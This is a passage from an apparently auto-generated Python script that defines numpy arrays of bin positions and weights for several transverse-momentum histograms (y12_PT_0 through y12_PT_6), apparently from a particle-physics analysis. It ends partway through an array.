xData = numpy.array([2.5,7.5,12.5,17.5,22.5,27.5,32.5,37.5,42.5,47.5,52.5,57.5,62.5,67.5,72.5,77.5,82.5,87.5,92.5,97.5,102.5,107.5,112.5,117.5,122.5,127.5,132.5,137.5,142.5,147.5,152.5,157.5,162.5,167.5,172.5,177.5,182.5,187.5,192.5,197.5,202.5,207.5,212.5,217.5,222.5,227.5,232.5,237.5,242.5,247.5,252.5,257.5,262.5,267.5,272.5,277.5,282.5,287.5,292.5,297.5,302.5,307.5,312.5,317.5,322.5,327.5,332.5,337.5,342.5,347.5,352.5,357.5,362.5,367.5,372.5,377.5,382.5,387.5,392.5,397.5,402.5,407.5,412.5,417.5,422.5,427.5,432.5,437.5,442.5,447.5,452.5,457.5,462.5,467.5,472.5,477.5,482.5,487.5,492.5,497.5,502.5,507.5,512.5,517.5,522.5,527.5,532.5,537.5,542.5,547.5,552.5,557.5,562.5,567.5,572.5,577.5,582.5,587.5,592.5,597.5,602.5,607.5,612.5,617.5,622.5,627.5,632.5,637.5,642.5,647.5,652.5,657.5,662.5,667.5,672.5,677.5,682.5,687.5,692.5,697.5,702.5,707.5,712.5,717.5,722.5,727.5,732.5,737.5,742.5,747.5,752.5,757.5,762.5,767.5,772.5,777.5,782.5,787.5,792.5,797.5,802.5,807.5,812.5,817.5,822.5,827.5,832.5,837.5,842.5,847.5,852.5,857.5,862.5,867.5,872.5,877.5,882.5,887.5,892.5,897.5,902.5,907.5,912.5,917.5,922.5,927.5,932.5,937.5,942.5,947.5,952.5,957.5,962.5,967.5,972.5,977.5,982.5,987.5,992.5,997.5,1002.5,1007.5,1012.5,1017.5,1022.5,1027.5,1032.5,1037.5,1042.5,1047.5,1052.5,1057.5,1062.5,1067.5,1072.5,1077.5,1082.5,1087.5,1092.5,1097.5,1102.5,1107.5,1112.5,1117.5,1122.5,1127.5,1132.5,1137.5,1142.5,1147.5,1152.5,1157.5,1162.5,1167.5,1172.5,1177.5,1182.5,1187.5,1192.5,1197.5,1202.5,1207.5,1212.5,1217.5,1222.5,1227.5,1232.5,1237.5,1242.5,1247.5,1252.5,1257.5,1262.5,1267.5,1272.5,1277.5,1282.5,1287.5,1292.5,1297.5,1302.5,1307.5,1312.5,1317.5,1322.5,1327.5,1332.5,1337.5,1342.5,1347.5,1352.5,1357.5,1362.5,1367.5,1372.5,1377.5,1382.5,1387.5,1392.5,1397.5,1402.5,1407.5,1412.5,1417.5,1422.5,1427.5,1432.5,1437.5,1442.5,1447.5,1452.5,1457.5,1462.5,1467.5,1472.5,1477.5,1482.5,1487.5,1492.5,1497.5,1502.5,1507.5,1512.5,1517.5,1522.5,1527.5,1532.5,1537.5,1542.5,1547.5,1552.5,1557.5,1562.5,1567.5,1572.5,1577.5,1582.5,1587.5,1592.5,1597.5,1602.5,1607.5,1612.5,1617.5,1622.5,1627.5,1632.5,1637.5,1642.5,1647.5,1652.5,1657.5,1662.5,1667.5,1672.5,1677.5,1682.5,1687.5,1692.5,1697.5,1702.5,1707.5,1712.5,1717.5,1722.5,1727.5,1732.5,1737.5,1742.5,1747.5,1752.5,1757.5,1762.5,1767.5,1772.5,1777.5,1782.5,1787.5,1792.5,1797.5,1802.5,1807.5,1812.5,1817.5,1822.5,1827.5,1832.5,1837.5,1842.5,1847.5,1852.5,1857.5,1862.5,1867.5,1872.5,1877.5,1882.5,1887.5,1892.5,1897.5,1902.5,1907.5,1912.5,1917.5,1922.5,1927.5,1932.5,1937.5,1942.5,1947.5,1952.5,1957.5,1962.5,1967.5,1972.5,1977.5,1982.5,1987.5,1992.5,1997.5])
# Creating weights for histo: y12_PT_0
y12_PT_0_weights = numpy.array([0.839287281015,1.96106632003,2.9395522818,3.81568633125,4.36429226128,4.98249973169,5.45741532484,6.2762306234,6.39905451818,6.85759012537,7.16874185882,7.47170159928,7.73372537482,8.09809706268,8.17588499604,8.33964885575,8.14722902059,8.69583255062,8.87188039981,8.72040052957,9.01926827354,8.67536456815,8.97013631563,9.40001594737,8.73677651554,9.07248822795,8.74496450853,8.61804861725,8.92510435421,8.68355256114,8.60985662427,8.43790877157,8.7040205436,8.74905650502,8.06125309424,8.63032860673,8.24139293992,8.63851659972,8.23729694343,8.27823690836,8.33146086276,8.07762908021,8.14722902059,7.38982166943,7.58633750108,7.54130153966,7.41848164488,7.02544998157,7.54948953265,7.25062178867,7.05820195351,7.02135398508,6.63651031476,6.76752220253,6.73886222708,6.63241431827,6.54643839192,6.41543050415,6.41133450766,6.14931473212,6.25575864093,5.87091497062,5.83816299867,6.0510548163,5.9937388654,5.49835528977,5.63755517053,5.0889476405,5.19129955282,5.38371938798,5.11351161945,5.15445158438,5.07257165453,4.80235988601,4.8064558825,4.72457195264,4.85148784392,4.72866794913,4.47074017009,4.49530414905,4.39295223673,4.37248025427,4.31107230687,4.33972828232,4.01629655939,4.08589649977,4.08998849627,3.80749793826,3.87300348215,3.61098210661,3.62326449609,3.70514602595,3.60279371363,3.70105202945,3.672393254,3.31620795913,3.2793611907,3.16063289241,3.21795004331,3.0541865836,3.13606851345,3.14425650644,3.13197411696,2.82491798,2.85357635545,2.70618968171,2.95183467128,2.75122444313,2.68571889925,2.5997433729,2.70209528522,2.44416830618,2.46054429215,2.6570605238,2.39094515177,2.28040484647,2.35000438684,2.3172516149,2.28040484647,2.259934464,2.3172516149,2.22718169206,2.19033492363,2.23946408154,2.15758215168,2.21899369907,1.96516031652,2.1453001622,1.977442706,1.94878393055,1.977442706,1.84643201823,1.91193716212,1.81777324278,1.69904494449,1.82186723928,1.90374916913,1.7522680989,1.78092647435,1.57622224971,1.6376333971,1.40427079702,1.46568194441,1.66629217255,1.51481110232,1.60078702867,1.42474117948,1.48615232687,1.33876565313,1.37151802507,1.31010687768,1.36742402858,1.41245879,1.27735410574,1.28144810223,1.15862580745,1.25278972678,1.32648326365,1.08493227058,1.129967032,1.14224942148,1.21594295835,1.24869573029,1.03580311267,1.02761511968,1.00305074073,1.05217949864,1.0153327302,1.02352112319,1.0726498811,1.01123873371,0.962109575798,0.929357203856,0.986674354754,0.990768351247,1.0153327302,0.888416038929,0.753311354667,0.806534509073,0.888416038929,0.790158123102,0.839287281015,0.745123361682,0.863851659972,0.794252119595,0.724652979218,0.761499747653,0.765593744146,0.720558582725,0.691900207276,0.671429824812,0.687806210783,0.687806210783,0.720558582725,0.753311354667,0.646865445856,0.68371221429,0.716464586233,0.597736287943,0.646865445856,0.63867705287,0.659147435334,0.675523821305,0.556795523015,0.556795523015,0.544513133537,0.605924280928,0.54860713003,0.511760361595,0.544513133537,0.479007989652,0.442161221218,0.532230744059,0.515854758087,0.446255217711,0.507666365102,0.487195982638,0.479007989652,0.470819596667,0.454443210696,0.470819596667,0.466725600174,0.360279371363,0.393032063305,0.360279371363,0.393032063305,0.405314452783,0.491289979131,0.364373487855,0.417596442261,0.372561640841,0.360279371363,0.315244449942,0.319338566435,0.364373487855,0.323432642928,0.343903065392,0.413502445769,0.257927299044,0.335714872406,0.302962220464,0.274303645015,0.323432642928,0.290679950986,0.319338566435,0.384843910319,0.266115452029,0.274303645015,0.302962220464,0.225174607102,0.249739106058,0.347997141884,0.294774027479,0.274303645015,0.270209528522,0.278397721507,0.257927299044,0.249739106058,0.253833222551,0.266115452029,0.241550953073,0.253833222551,0.229268683594,0.225174607102,0.167857456203,0.16376333971,0.176045609189,0.225174607102,0.204704184638,0.257927299044,0.200610108145,0.233362800087,0.180139685681,0.196516031652,0.16376333971,0.159669263218,0.147387033739,0.229268683594,0.135104764261,0.171951532696,0.204704184638,0.167857456203,0.159669263218,0.106446188812,0.126916611275,0.155575186725,0.171951532696,0.147387033739,0.159669263218,0.171951532696,0.159669263218,0.135104764261,0.110540265304,0.0982579958262,0.139198840754,0.180139685681,0.11872841829,0.122822534783,0.122822534783,0.0982579958262,0.126916611275,0.16376333971,0.139198840754,0.11872841829,0.122822534783,0.11872841829,0.0818816898551,0.135104764261,0.114634341797,0.0777876133624,0.110540265304,0.11872841829,0.0900698428407,0.11872841829,0.106446188812,0.106446188812,0.11872841829,0.0614112673914,0.0900698428407,0.102352112319,0.0859757663479,0.11872841829,0.102352112319,0.102352112319,0.0491289979131,0.0532230744059,0.0655053438841,0.0900698428407,0.0777876133624,0.0818816898551,0.0982579958262,0.0736934968696,0.0573171908986,0.0655053438841,0.0859757663479,0.0491289979131,0.0736934968696,0.0573171908986,0.0573171908986,0.0736934968696,0.0573171908986,0.0900698428407,0.0573171908986,0.0573171908986,0.0655053438841,0.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# Creating weights for histo: y12_PT_1
y12_PT_1_weights = numpy.array([0.0,0.0,92.2951978774,46.668505905,24.3613394627,14.5067553471,9.12698857071,5.63707010517,3.17073072431,2.15049484862,1.76148142205,0.996155318522,0.801971230713,0.583659323405,0.352642300732,0.364133174769,0.267108459657,0.230598711008,0.0850445558115,0.194612092256,0.121478043889,0.133638841413,0.0485234722139,0.0486540043582,0.0364640964436,0.0242725343475,0.0121935527213,0.0121530593191,0.0242633101828,0.0242958851423,0.0364203026889,0.0,0.0,0.0242604223744,0.0121673661868,0.0486411073498,0.0,0.0,0.0,0.0,0.0120930561876,0.0,0.0,0.0121863352029,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])
# Creating weights for histo: y12_PT_2
y12_PT_2_weights = numpy.array([0.0,0.0,363.793674628,196.514058063,120.630406631,77.1897218767,52.4088037382,36.2832468267,26.2659699835,18.2526319633,13.8950970124,10.65292837,7.62056650676,5.41138272994,3.92590197417,3.16267883499,2.61022938371,1.91796535587,1.52601943365,1.2248381348,1.02415789879,0.783039807855,0.712700096542,0.652497224045,0.471862987606,0.381568223985,0.461792675411,0.291139084854,0.251014607499,0.200805768849,0.341329535711,0.140495751304,0.110457370722,0.150591806409,0.0803656448808,0.130499072921,0.1807748514,0.110437495378,0.090433229898,0.0804129986118,0.100466890471,0.0602613415454,0.0702659122173,0.0501838808373,0.0802622187127,0.0702764903631,0.0301257866444,0.0501874757541,0.0401717649723,0.0100356894283,0.0200626518862,0.0702777299896,0.0401519681377,0.0200994439997,0.0200886881741,0.0100310986783,0.0200698706443,0.0100408545385,0.0301626200788,0.0,0.0200648956101,0.0,0.010015487649,0.0,0.0,0.0,0.0,0.0,0.0100370984703,0.0,0.0100330448918,0.0,0.0100458584974,0.0100697956844,0.0,0.0,0.0,0.0100368257525,0.0,0.0100533747658,0.0,0.0,0.0,0.0,0.0,0.0100325697017,0.0,0.0,0.0,0.0,0.0100325697017,0.0100458584974,0.0,0.0,0.0,0.0,0.0,0.0100569820788,0.0100264087581,0.0,0.0,0.0,0.0,0.0100547796758,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0100697956844,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])
# Creating weights for histo: y12_PT_3
y12_PT_3_weights = numpy.array([0.0,0.0,378.37418613,215.224111367,137.530664876,94.4222801603,69.579180326,50.2065293121,38.3428468736,29.5322579321,24.040947988,19.1078752134,15.1645012713,12.0622673358,9.97816592394,8.31688922308,6.97981104048,5.59371429543,4.81320764239,3.74600008698,3.2449033025,2.90428766897,2.35395903887,1.94140807586,1.70503956017,1.39152632476,1.386006963,1.00642145044,0.89654528236,0.830310097503,0.726067448452,0.682086430948,0.544485077942,0.61065648098,0.412502212576,0.35219869628,0.285924348572,0.302370917223,0.231121140738,0.35208218274,0.197936760213,0.1925960688,0.176010480159,0.159468888786,0.11546406482,0.0990283025162,0.18148653528,0.120974488997,0.0715098194308,0.0824715578825,0.0440337085985,0.0935740225901,0.0770199592304,0.0824513264519,0.060501239936,0.0219812136687,0.038479486218,0.0495430358909,0.0329954360263,0.0330537334216,0.0275108333296,0.0550464318803,0.0384947613544,0.0384734574142,0.0385100933662,0.0660273861285,0.0220279409607,0.0164999381892,0.0220039557467,0.0109727194872,0.0440302554427,0.0110071332318,0.0384787671491,0.0385224962894,0.0109982972155,0.00550872197443,0.0275253568967,0.0165365903913,0.0165084126398,0.0275050564031,0.0165271571821,0.0164979800467,0.0109893677608,0.0110055935306,0.0,0.02201329958,0.0054978953153,0.00550487475259,0.00550037752496,0.00549231745303,0.00550225847924,0.00550880728769,0.0054978953153,0.00549386934188,0.0110058535329,0.0,0.0,0.00550872197443,0.0054978953153,0.0,0.00549973970677,0.0109770867137,0.00549896376234,0.0,0.0,0.0,0.0,0.0,0.0,0.00548800710206,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0109995769144,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.00549437309637,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.00548468800994,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])
# Creating weights for histo: y12_PT_4
y12_PT_4_weights = numpy.array([0.0,0.0,79.2047243281,46.9657928837,31.0079899884,21.8953083195,16.4447594521,12.5359998512,9.94934652164,7.92945503707,6.60688380262,5.3989219406,4.58397005853,3.99970756723,3.22798922802,2.80857215519,2.36356488139,2.06356914726,1.76850643011,1.6538533672,1.37472926119,1.26712399528,1.13882186319,0.977984746481,0.899103371857,0.753911458609,0.666088765233,0.588087613676,0.503364940887,0.509187800864,0.42234754225,0.407558512051,0.368067440385,0.291148369974,0.288135770449,0.263486037321,0.225018204931,0.206267890343,0.182561511037,0.161849212901,0.146017583328,0.1145003867,0.115477811086,0.104600202,0.110503508593,0.0877849752567,0.0927612819005,0.0907831048124,0.0710444231757,0.061179952444,0.0690801949778,0.0513101506709,0.0443994375943,0.0444090575186,0.0385145411309,0.030597972784,0.0315752488627,0.0375042767286,0.0207226515794,0.0266534791728,0.0295966829694,0.0177723089974,0.0217085174488,0.0177678317243,0.0157815658832,0.0108548619738,0.0167758050951,0.018747817415,0.0187505350436,0.0148055283698,0.0108621129917,0.0128325821155,0.0108590466409,0.00986677951354,0.0108486891891,0.0157854138529,0.00690963484339,0.00986908428705,0.00789081901634,0.00197419564193,0.00789971343796,0.00591981278013,0.00592624209616,0.00888748325072,0.00592248230911,0.00493621961782,0.00492886037577,0.00296393232836,0.00296429708382,0.000987947781353,0.00493334165715,0.00197192453815,0.00592183697252,0.00098857588224,0.00296248212478,0.00295840608271,0.00197005266122,0.00493098076741,0.00197471632033,0.00197497285164,0.00295758438085,0.00197464657588,0.00394616787886,0.00295773068387,0.0,0.00197544903789,0.00296272061874,0.00395039262893,0.0,0.00197661665619,0.00493045567987,0.00197701708554,0.00296138505259,0.000988897748872,0.000986140838917,0.000986140838917,0.000987662390268,0.0,0.00296244324425,0.0,0.0,0.000988175853724,0.0,0.0,0.000983911822304,0.000986318406685,0.0,0.0,0.0,0.00098753212046,0.0,0.0,0.0,0.0,0.000986369712948,0.000988175853724,0.000985638598705,0.0,0.000986369712948,0.00197635050496,0.000987947781353,0.0,0.0,0.0,0.0,0.000985638598705,0.000987865210337,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.000986140838917,0.0,0.000988175452894,0.0,0.0,0.000983911822304,0.0,0.000983911822304,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.000988175853724,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.000986797398746,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.000986293555214,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])
# Creating weights for histo: y12_PT_5
y12_PT_5_weights = numpy.array([0.0,0.0,12.88774357,7.70222428378,5.1588047369,3.75236993417,2.8302578684,2.20468850329,1.75950136083,1.43937687884,1.17168525134,1.00529085795,0.847448961299,0.714892863735,0.638779003597,0.533165511305,0.475925078192,0.423721479914,0.3730930278,0.334745226421,0.286111983454,0.275523347535,0.235436279756,0.222833189972,0.200130584182,0.18729275685,0.165116760164,0.151741401049,0.135342620711,0.134357779266,0.121745567246,0.105115370172,0.0993104270277,0.0781361559256,0.0851962467834,0.0746148926498,0.064024136211,0.0632671906376,0.0610097572033,0.0554549553835,0.0431036073166,0.0499104360844,0.0398272200747,0.0408324905277,0.0360430083342,0.0355529281857,0.0357954996548,0.0287284150824,0.0299953576871,0.0284846953318,0.0254582413638,0.0274771923316,0.0201718773544,0.0166363865905,0.0168890605363,0.0178955632913,0.015378202133,0.0161372682262,0.0138691281671,0.00983161032585,0.00957737999853,0.0108388732673,0.0121026911059,0.00806835004348,0.0105857792185,0.00806402098216,0.0070563659446,0.0065576916892,0.00705502961699,0.00604941908066,0.00478897806989,0.00655408280445,0.00579966985193,0.00453898078034,0.0047892901464,0.00403472115563,0.0040309602336,0.00378094533974,0.0047894781925,0.00226759312504,0.00226724664009,0.00226802923195,0.00100876651005,0.00327685095553,0.00277206600203,0.00226775196398,0.00151291010631,0.00252032188423,0.00176388003431,0.0020167152196,0.00251974534289,0.000504593306519,0.00100763383236,0.00100870409474,0.00100867728817,0.000503686684251,0.00176628582412,0.00176354355182,0.000503644673951,0.0007554203995,0.0,0.00151342143167,0.0010086924919,0.000504422864733,0.00125940715732,0.000504154398916,0.000503987958111,0.00126195538204,0.000252556516968,0.000755661258549,0.0,0.000252116129002,0.00100888293859,0.000252121890414,0.000504987803234,0.000253122055616,0.000252039750277,0.000504756546539,0.000251929803322,0.0,0.000503614666595,0.000503771104947,0.000755661258549,0.000504884177829,0.00025208088036,0.0,0.0,0.000251929803322,0.000253122055616,0.00025160576388,0.0,0.0,0.000503679082387,0.0,0.000503627869832,0.0,0.000756060956539,0.0,0.000251762042194,0.000251635811247,0.0,0.0,0.0,0.000252296733279,0.0,0.000252077279478,0.00025160576388,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.000252077279478,0.0,0.0,0.0,0.0,0.0,0.000252177664088,0.000252177664088,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.000504186806861,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.000251949248089,0.000503713090725,0.0,0.000251865907658,0.0,0.000252077279478,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.000252315697928,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])
# Creating weights for histo: y12_PT_6
y12_PT_6_weights = numpy.array([0.0,0.0,3.13064596091,1.9133120969,1.28463274296,0.923150261759,0.68823757724,0.550902719022,0.42635645721,0.370783324023,0.304610774851,0.265170138934,0.225333033337,0.188978183127,0.162300951897,0.150599997985,0.133979161231,0.114268839987,0.106248076401,0.0916257427424,0.0787415377631,0.0821587245385,0.0690033986763,0.0503974944118,0.05696083705,0.0461139424096,0.0457947173384,0.0355082784769,0.0349334674166,0.0352048182239,0.0326231967994,0.030346675089,0.0266100233214,0.0248946771533,0.0254965893056,0.0206206220295,0.0226033403126,0.014309036639,0.0188875017038,0.0120209187403,0.0177532345358,0.0143103761987,0.0140211312731,0.0128786867931,0.0131687814394,0.00916260426438,0.00830399848694,0.00800884150464,0.0108674578813,0.00944161955243,0.00745621315283,0.00715817211852,0.00629644936562,0.00773661698447,0.00800736798898,0.00687551302818,0.00372624218924,0.00802087654874,0.00458575666799,0.00458065634446,0.00601233675305,0.0034317439904,0.00372161171127,0.00371564667197,0.00343785298238,0.00257894830318,0.00372275433569,0.00372739281103,0.00428961900804,0.00257838248917,0.00314746243336,0.00257959908927,0.00400865336107,0.00429446541503,0.00200558276766,0.00200194996176,0.00229145980027,0.00200194796241,0.00143247414769,0.00142921621856,0.00143212726171,0.00114330819614,0.00171869806627,0.00172011460066,0.00143584803869,0.00114545349099,0.0011450126359,0.000573933948688,0.00114730588211,0.0017182532125,0.000858410141748,0.000861795129108,0.000287117424891,0.00114513159679,0.000858850796906,0.000573568968656,0.000572028774916,0.0,0.0,0.000286439047873,0.000570385515053,0.0,